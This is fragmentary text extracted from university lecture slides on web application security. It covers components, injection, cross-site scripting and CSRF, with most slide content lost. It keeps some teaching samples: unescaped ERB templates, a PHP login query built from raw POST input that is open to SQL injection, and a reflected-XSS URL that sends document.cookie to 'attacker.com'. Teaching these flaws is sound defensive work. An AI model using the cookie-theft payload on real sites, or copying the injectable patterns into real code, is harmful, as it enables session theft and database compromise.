Week10 P
Week10 P
Pasquale Malacaria
EECS, QMUL
Overview of Web Applications
Web Application Security
1
Web Application Security vs. Network Security
2
Web Application Components
▷ Browser (client)
▷ HTTP over TLS over TCP/IP, or directly over TCP/IP
▷ Server (machine)
▷ Operating system
▷ Web server (programme) (and/or an application
server programme)
▷ Scripting language
▷ Database or persistence layer
3
Web Application Architecture
5
Web Application Security
6
Client Side Challenges
7
Web Application Vulnerabilities
High level overview of web application vulnerabil-
ities
These are the main attacks and we will see these in some
details
8
High level overview of web application vulnerabil-
ities
9
High level overview of web application vulnerabil-
ities
10
High level overview of web application vulnerabil-
ities
11
High level overview of web application vulnerabil-
ities
12
High level overview of web application vulnerabil-
ities
14
Injection Vulnerability: Code Injection
15
Injection Vulnerability: Code Injection
16
Injection Vulnerability: Cross-Site Scripting (XSS)
18
Injection Vulnerability: Cross-Site Scripting (XSS)
...<div class="blogComment">
<%= @comment.message %></div>...
21
Cross-Site Scripting (XSS): Stored XSS attack
23
Cross-Site Scripting (XSS): Reflected XSS
...<h1>Search Results</h1>
Results for <%= params[:q] %>...
25
Cross-Site Scripting (XSS): Reflected XSS
http://example.com/search?q=<script>
window.open("http : // attacker . com?cookie=
"+document.cookie);</script>
$uname=$_POST[’uname’];
$pass=$_POST[’pass’];
$query="SELECT id from users WHERE
username = ’$uname’ and password = ’$pass’
1
sometimes also called XSRF
31
Cross Site Request Forgery (CSRF)
33
Cross Site Request Forgery (CSRF) mitigations
34